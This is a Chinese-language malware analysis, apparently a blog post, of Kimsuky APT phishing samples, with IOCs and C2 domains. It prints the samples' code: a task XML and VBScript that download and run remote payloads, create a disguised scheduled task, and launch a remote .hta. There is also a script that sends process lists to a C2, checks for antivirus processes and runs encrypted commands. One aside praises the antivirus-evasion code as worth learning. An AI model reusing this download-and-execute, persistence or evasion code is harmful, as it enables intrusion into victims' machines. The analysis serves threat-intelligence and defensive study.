针对Kimsuky APT的.vbs攻击样本分析

0X00 前言


最近在某技术论坛当中披露了一批APT组织的攻击样本,其中Kimsuky组织的钓鱼方式,引起了笔者的兴趣。Kimsuky组织,是一个已知的政府网络间谍组织(将军的恩情!!!),其活动可以追溯到2012年左右。这次Kimsuky组织的攻击手段是社会工程学+钓鱼邮件,攻击流程如下图所示(图片来源,笔者画图技巧有待提高,凑合看一下):

这其中笔者比较难以置信的是,Kimsuky居然通过社交媒体去进行社会工程学,具体行为如上图所示,Kimsuky以假身份创建了一个Facebook帐户,伪装成在韩国从事朝鲜人权领域工作的公职人员,并试图通过在线好友聊天页面来接触韩国政府的相关工作人员。笔者感到有点荒谬,突然觉得国内企业多办办安全培训也挺不错的,至于怎么样才可以达到要求,这就是运营人员需要考虑的事情了......

0X01 样本分析


话不多说,我们直接去MalwareBazaar上下载了该样本,下载链接如下:https://bazaar.abuse.ch/download/ec9cc1940fe395867f5bab06016920f7194d753ae8cfa331bea0a44ecc8ef7cf/我们可以发现在2024年4月19日就开始有人在对Essay on Resolution of Korean Forced Labor Claims.vbs这个文件进行分析了。

My_Essay(prof).msc命令

由于原本的钓鱼邮件是My_Essay(prof).msc,但是笔者由于没有找到,于是下载了.vbs攻击样本,不过笔者发现了网上泄露的代码如下所示:

<Tasks>
       <Task Type="CommandLine" Command="cmd.exe">
         <String Name="Name" ID="5"/>
         <String Name="Description" ID="11"/>
         <Symbol>
           <Image Name="Small" BinaryRefIndex="6"/>
           <Image Name="Large" BinaryRefIndex="7"/>
         </Symbol>
         <CommandLine Directory="" WindowState="Minimized" Params="/c mode 15,1&amp;start explorer &quot;https://brandwizer.co[.]in/green_pad/wp-content/plugins/custom-post-type-maker/essay/share&quot;&amp;echo On Error Resume Next:Set ws = CreateObject(&quot;WScript.Shell&quot;):Set fs = CreateObject(&quot;Scripting.FileSystemObject&quot;):Set Post0 = CreateObject(&quot;msxml2.xmlhttp&quot;):gpath = ws.ExpandEnvironmentStrings(&quot;%appdata%&quot;) +
&quot;\Microsoft\cool.gif&quot;:bpath =
ws.ExpandEnvironmentStrings(&quot;%appdata%&quot;) +
&quot;\Microsoft\cool.bat&quot;:If fs.FileExists(gpath) Then:re=fs.movefile(gpath,bpath):re=ws.run(bpath,0,true):fs.deletefile(bpath):Else:Post0.open &quot;GET&quot;,
&quot;https://brandwizer.co[.]in/green_pad/wp-content/plugins/custom-post-type-maker/essay/d.php?na=battmp&quot;,False: Post0.setRequestHeader &quot;Content-Type&quot;,
&quot;application/x-www-form-urlencoded&quot;:Post0.Send:t0=Post0.responseText:Set f = fs.CreateTextFile(gpath,True):f.Write(t0):f.Close:End If:&gt;&quot;C:\Users\Public\music\warm.vbs&quot;&amp;schtasks /create /tn OneDriveUpdate /tr &quot;wscript.exe /b
&quot;C:\Users\Public\music\warm.vbs&quot;&quot; /sc minute /mo 41 /f&amp;start /min mshta https://brandwizer.co[.]in/green_pad/wp-content/plugins/custom-post-type-maker/essay/ttt.hta"/>
       </Task>
     </Tasks>

这段代码看见cmd.exe后,就不得不怀疑My_Essay(prof).msc是恶意软件了,通过进一步分析发现,该代码可以通过Windows计划任务执行多个恶意操作。

命令执行:在CommandLine标签中,指定了一系列要执行的命令,这些命令被设置为在命令行窗口最小化时执行,并通过/c参数在执行完毕后关闭命令提示符窗口
恶意操作:使用mode命令更改命令提示符的窗口大小。打开指定的恶意网站https://brandwizer.co[.]in/green_pad/wp-content/plugins/custom-post-type-maker/essay/share 执行echo命令以运行一段VBScript脚本,这段脚本会尝试下载并执行另一个恶意脚本。该脚本利用WScript.Shell和Scripting.FileSystemObject进行文件操作和执行
下载和执行恶意文件:如果特定的恶意文件(如cool.gif)已存在,则尝试运行它。如果不存在,则尝试从指定的URL下载恶意脚本并保存为.gif文件(实际上可能是可执行的恶意代码),之后尝试执行此文件
利用计划任务持久化:通过schtasks命令创建一个名为OneDriveUpdate的计划任务,间隔41分钟后,执行下载的恶意脚本

此外代码中出现的网址使用了[.]来避免直接显示.com,这通常是为了避免自动恶意代码分析工具标记才会做的事情,事情开始变得有意思起来了。从这段代码来看,攻击者通过混合使用常规和恶意的命令来执行攻击活动,代码块当中包含有许多典型的恶意软件特征。

Essay on Resolution of Korean Forced Labor Claims.vbs命令

由于CTF打多了,笔者就直接就改了后缀(如果是.doc建议直接使用压缩软件解压),不要问我为什么,CTF打多了你就懂了......

继续看如下代码模块:

On Error Resume Next
Result=""
isProcessRunning = ""
Set ws = CreateObject("WScript.Shell")
Set WMI = GetObject("WinMgmts:")
Set Objs = WMI.InstancesOf("Win32_Battery")
Set fs = CreateObject("Scripting.FileSystemObject")
pp="cmd.exe /c explorer ""https://makeoversalon.net.in/wp-content/plugins/wp-custom-taxonomy-image/iiri/share.docx"""
re=ws.run(pp,0,true)
wscript.sleep(2000)
For Each Obj In Objs
  isProcessRunning = isProcessRunning & Obj.Description & " "
Next
Set Objs = WMI.InstancesOf("Win32_Process")
For Each Obj In Objs
  isProcessRunning = isProcessRunning & Obj.Description & " "
Next
isProcessRunning=LCase(isProcessRunning)
If fs.FileExists("c:\windows\system32\curl.exe") Or fs.FileExists("c:\Windows\sysnative\curl.exe") Then
        Result = Result+"curl ok "+"ENTER"
Else
        Result = Result+"curl no "+"ENTER"
End If
Result = Result + "ENTER"
Set Post0 = CreateObject("msxml2.xmlhttp")
Post0.Open "POST", "https://makeoversalon.net.in/wp-content/plugins/wp-custom-taxonomy-image/iiri/r.php", 0
Post0.setRequestHeader "Content-Type", "application/x-www-form-urlencoded"
Post0.Send ("p=" + Modi(isProcessRunning))
s_key = Post0.responsetext

哎一看见WMI,就又要分析咯,分析如下所示:

On Error Resume Next: 脚本在遇到错误时不要弹出对话框,而是继续执行下一行代码。这是一种常见的错误处理方式,可用来避免脚本执行过程中的中断
Set ws = CreateObject("WScript.Shell"): 创建了一个WScript.Shell对象,它允许脚本运行系统命令。
pp变量打开网址"makeoversalon.net.in"的系统命令发送POST请求到"makeoversalon.net.in",传递了isProcessRunning变量经过Modi函数处理后的内容。
脚本将收集的信息发送到一个外部服务器,并接收响应。

对比makeoversalon.net.in和brandwizer.com域名进行分析:

Kimsuky C2域名 C2IP地址
My_Essay(prof).msc brandwizer.com 103.109.7.26 [印]
Labor Claims.vbs makeoversalon.net.in 5.9.123.217 [德]


继续分析笔者发现,下面这段代码似乎是用于检测在目标系统上是否运行了特定的安全软件进程的:

If InStr(isProcessRunning,"bdagent.exe") 
Or InStr(isProcessRunning,"epsecurityservice.exe") 
Or InStr(isProcessRunning,"avpui.exe") 
Or InStr(isProcessRunning,"avp.exe") 
Or InStr(isProcessRunning, "v3") 
Or InStr(isProcessRunning,"ayagent.aye") 
Or InStr(isProcessRunning, "avastui") 
Or InStr(isProcessRunning,"nortonsecurity.exe") Then

bdagent.exe: 可能指Bitdefender安全软件的进程
epsecurityservice.exe: 可能指Trend Micro安全软件相关的进程
avpui.exe 和 avp.exe: 可能指卡巴斯基安全软件(Kaspersky)的用户界面和服务进程
avastui: 可能指Avast安全软件的用户界面进程
nortonsecurity.exe: 可能指诺顿安全软件的进程

小提示:这串代码值得我们学习,我们要确保安全软件不会采取措施来禁用、规避或者终止恶意软件的进程,以避免恶意操作被检测到。

继续分析最后这段代码:

If InStr(isProcessRunning, "avgui.exe") Then
dd=AES("&106&68&135&205&70&71&221&219&183&61&50&124&51&7&205&215&241&159&73&254&215&91&6&22&211&38&115&144&233&252&250&233&152&2&120&131&219&134&180&132&135&41&104&89&27&33&167&97&67&39&73&2&25&169&200&164&18&186&131&66&9&89&2&131&253&51&203&162&144&224&201&46&33&12&218&38&173&208&194&33&210&38&201&169&70&252&90&212&215&67&83&157&28&30&74&22&3&219&182&211&61&225&72&120&144&136&59&124&45&38&201&55&109&30&99&250&223&204&178&148&100&148&255&180&143&211&75&214&190&181&224&22&181&101&58&21&154&111&158&41&118&38&81&94&232&198&65&108&193&233&13&220&43&205&138&18&200&250&57&74&154&73&173&88&113&140&106&182&38&87&214&91&184&127&245&185&108&196&208&243&67&53&33&63&9&79&109&215&245&139&32&134&234&106&58&15&123&213&80&82&43&168&129&61&31&73&79&80&6&121&48&221&229&200&158&115&146&8&57&193&49&33&49&116&22&246&82&146&3&234&3&238&13&81&234&47&34&111&230&189&249&219&252&143&216&163&94&37&144&161&163&164&160&218&29&231&170&104&243&35&155&219&104&124&41&226&44&33&136&77&208&152&212&234&146&30&199&62&23&219&192&30&2&224&83&238&164&97&147&9&177&185&96&152&139&155&70&91&36&109&251&202&14&231&202&223&131&160&157&233&1&65&86&191&210&56&212&249&0&209&133&122&21&79&228&12&155&72&87&52&134&210&68&217&103&63&20&40&187&244&91&181&80&108&129&229&187&82&84&170&251&101&118&201&112&15&5&78&167&57&148&58&78&166&112&15&5&111&80&160&183&6&70&218&32&159&104&48&70&84&153&60&196&115",s_key)
    d=ws.run(dd,0,true)
    ElseIf InStr(isProcessRunning,"qhsafe") Or InStr(isProcessRunning,"tmwscsvc") Or InStr(isProcessRunning,"ntrtscan") Or InStr(isProcessRunning,"tmrhea") Or InStr(isProcessRunning,"pccntmon.exe") Or InStr(isProcessRunning,"coreserviceshell") Then
dd=AES("&106&68&135&205&70&71&221&219&183&61&50&124&51&7&205&215&241&159&73&254&215&91&6&22&211&38&115&144&233&252&250&233&152&2&120&131&219&134&180&132&135&41&104&89&27&33&167&97&67&39&73&2&25&169&200&164&18&186&131&66&9&89&2&131&253&51&203&162&144&224&201&46&33&12&218&38&173&208&194&33&210&38&201&169&70&252&90&212&215&67&83&157&28&30&74&22&3&219&182&211&61&225&72&120&144&136&59&124&45&38&201&55&213&147&208&128&61&228&135&229&106&65&244&0&58&86&188&23&69&84&146&123&83&101&28&24&192&30&82&194&151&22&247&141&105&164&201&188&80&117&117&120&183&167&104&86&232&220&76&1&126&1&0&192&156&172&140&67&99&241&68&51&11&33&1&68&185&11&212&156&189&66&168&168&151&204&110&207&160&135&127&97&29&71&140&26&222&146&6&163&112&237&136&229&2&109&233&235&215&17&57&251&172&67&180&35&62&186&43&224&152&93&171&70&64&57&199&96&71&161&92&39&117&55&246&21&252&163&65&216&150&80&252&196&71&29&171&100&193&156&28&156&168&155&238&62&167&196&204&178&175&72&80&123&144&8&61&153&235&44&93&232&141&158&209&190&43&221&167&22&151&222&174&147&42&200&148&104&116&95&247&237&86&32&111&208&35&208&218&150&17&251&100&101&170&104&243&35&155&219&104&124&41&226&44&33&136&77&208&152&125&22&78&78&33&10&234&186&105&110&113&234&255&102&80&69&68&23&229&42&240&124&232&161&83&46&69&67&72&38&98&81&104&30&64&23&91&35&247&145&186&201&181&145&122&145&129&149&201&205&133&165&220&169&57&70&111&230&119&100&156&202&102&229",s_key)
    d=ws.run(dd,0,true)
    Else
dd=AES("&95&214&192&236&22&75&139&208&134&190&216&151&87&0&170&151&211&172&35&132&11&145&32&19&41&107&255&90&126&9&169&191&109&98&234&167&243&56&13&3&241&220&220&247&90&125&142&207&246&198&91&152&104&61&86&220&122&213&199&11&37&4&117&27&89&154&4&148&247&98&9&172&111&231&85&106&121&200&86&216&174&137&216&143&64&116&65&0&26&182&179&185&58&107&21&250&115&248&154&35&119&44&112&170&55&53&189&173&128&106&96&255&56&183&186&198&60&176&0&222&133&229&167&40&180&4&151&1&141&22&163&212&101&67&223&98&31&245&3&130&70&81&89&109&8&200&234&212&168&30&48&180&146&155&50&51&192&114&60&30&157&150&109&178&38&39&183&30&77&110&162&28&4&86&178&21&66&114&118&95&141&246&248&65&214&224&47&87&92&105&71&207&139&81&31&196&167&96&195&26&104&37&62&175&116&194&187&208&94&132&180&1&11&248&75&101&204&98&174&55&186&115&137&233&136&220&14&193&45&203&227&211&165&135&216&20&37&167&132&200&106&50&179&123&246&60&227&183&140&156&150&168&110&218&114&249&189&188&160&226&54&191&244&154&187&38&115&16&244&121&149&156",s_key)
    d=ws.run(dd,0,true)
dd=AES("&104&145&65&119&123&184&123&221&191&50&112&89&124&119&187&210&22&74&140&94&146&69&189&163&250&91&185&183&246&83&120&47&161&81&180&224&233&233&175&129&175&194&169&193&30&182&211&34&217&16&38&12&48&168&170&1&72&133&132&123&252&203&100&242&177&197&235&164&117&173&89&54&154&34&151&90&163&251&175&212&254&227&97&119&184&104&163&107&252&123&115&108&162&204&79&84&150&53&223&238&31&19&150&170&112&128&232&70&162&249&66&182&137&254&92&246&212&46&106&141&136&198&145&183&47&55&72&178&21&99&188&241&79&15&82&52&53&116&90&6&36&115&190&76&165&205&89&171&88&124&29&88&171&155&115&252&19&234&170&30&143&30&15&103&178&226&214&147&93&138&13&247&173&28&173&137&22&247&158&189&107&197&86&125&115&120&130&63&56&201&203&235&143&129&125&204&122&178&47&132&105&93&22&82&28&37&151&167&175&147&65&136&135&210&20&219&224&179&207&109&1&25&129&49&238&166&189&221&18&30&183&39&250&145&208&150&229&83&126&180&63&26&150&108&59&87&81&103&250&109&193&197&64&231&6&196&154&126&77&170&29&93&180&97&76&123&29&140&108&27&190&106&77&10&80&5&110&76&255&21&95&21&15&187&55&54&50&215&219&133&239&201&192&238&56&234&78&208&173&120&236&203&229&122&15&33&80&223&179&197&149&77&111&100&209&204&119&54&105&242&36&80&109&3&36&72&248&139&82&208&58&7&87&52&49&77&58&220&250&109&162&103&222&229&18&180&69&93&23&48&176&52&187&41&28&225&119&143&58&64&186&205&231&99&7&171&76&13&18&47&80&99&95&207&181&50&87&88&241&154&21&123&83&48&19&25&178&25&104&206&87&203&72&84&209&139&50&116&96&170",s_key)
    d=ws.run(dd,0,true)
    If fs.FileExists("c:\users\public\videos\v.vbs") Then
    Result = Result+"reg vbs ok "+"ENTER"
    Else
    Result = Result+"reg vbs no "+"ENTER"
    End If
    If fs.FileExists("c:\users\public\music\qwert.vbs") Then
    Result = Result+"sch vbs ok "+"ENTER"
    Else
    Result = Result+"sch vbs no "+"ENTER"
    End If
    End If

这段脚本进一步展示了恶意代码在检测到指定的安全软件进程后会采取的行动。根据代码的逻辑,它首先检查运行中的进程是否包括任何预定义的安全软件进程名(例如 "avgui.exe",与AVG Antivirus相关联;或者其他几个安全软件的进程名)。根据检测到的安全软件,脚本执行不同的加密指令。

AVG Antivirus检测:如果检测到avgui.exe进程在运行,该脚本将执行由AES函数返回的命令
他安全软件检测:如果检测到其他任意安全软件进程(如 "qhsafe"、"tmwscsvc"、"ntrtscan" 等),则执行另一组由AES函数解密的指令
持久化:代码会验证是否成功创建了VBS脚本文件(例如:"v.vbs"和"qwert.vbs")以保持持久性并隐藏其活动
命令执行:通过ws.run(dd,0,true)执行指令,其中dd变量表示在不显示窗口的情况下静默执行命令

0X02 矩阵分析



我们还可以对任务计划程序中注册的warm.vbs文件和mshta.exe调用的ttt.hta文件进行下一步研究,包括脚本在内的HTA文件的异常行为。此外,XBA异常行为规则检测到由MSC攻击操作的ttt.hta的C2通信。
根据上述分析,Kimsuky会使用各种鱼叉式网络钓鱼和社交工程方法来获得对受害者的信任。通过在邮件中嵌入恶意附件的网钓活动是Kimsuky组织的最常见的攻击方式,Kimsuky通过鱼叉式钓鱼和收割凭证的脚本从受害者那里获取了这些凭证。在受害者域名上,他们创建了伪造合法站点和服务的子域名,如伪装成谷歌或雅虎邮箱。Kimsuky还会向目标发送了正常邮件,这是为了在随后带有恶意附件或链接的邮件到来之前先建立信任。金尚秀伪装成韩国记者,与意图攻击的目标交换了几封内容良好的以面试为主题的电子邮件,明显地是为了安排面试日期,可能还为了建立好感。邮件的主题行为“首尔[编辑删除的电视节目]的Skype面试请求”,并以请求接受者作为节目嘉宾出现开始。该APT团体邀请目标就朝鲜半岛问题和朝鲜半岛无核化谈判等主题接受Skype采访。

0X03 威胁情报


MD5

75EC9F68A5B62705C115DB5119A78134

SHA1

6209F948992FD18D4FC6FC6F89D9815369AC8931

SHA256

EC9CC1940FE395867F5BAB06016920F7194D753AE8CFA331BEA0A44ECC8EF7CF

C2

5.9.123.217
brandwizer.co[.]in/green_pad/wp-content/plugins/custom-post-type-maker/essay/share
brandwizer.co[.]in/green_pad/wp-content/plugins/custom-post-type-maker/essay/d.php?na=battmp
brandwizer.co[.]in/green_pad/wp-content/plugins/custom-post-type-maker/essay/r.php
brandwizer.co[.]in/green_pad/wp-content/plugins/custom-post-type-maker/kohei/r.php
brandwizer.co[.]in/green_pad/wp-content/plugins/custom-post-type-maker/essay/ttt.hta
brandwizer.co[.]in/green_pad/wp-content/plugins/custom-post-type-marker/ayaka/ttt.hta
makeoversalon.net[.]in/wp-content/plugins/wp-custom-taxonomy-image/iiri/share.docx

0 条评论
某人
表情
可输入 255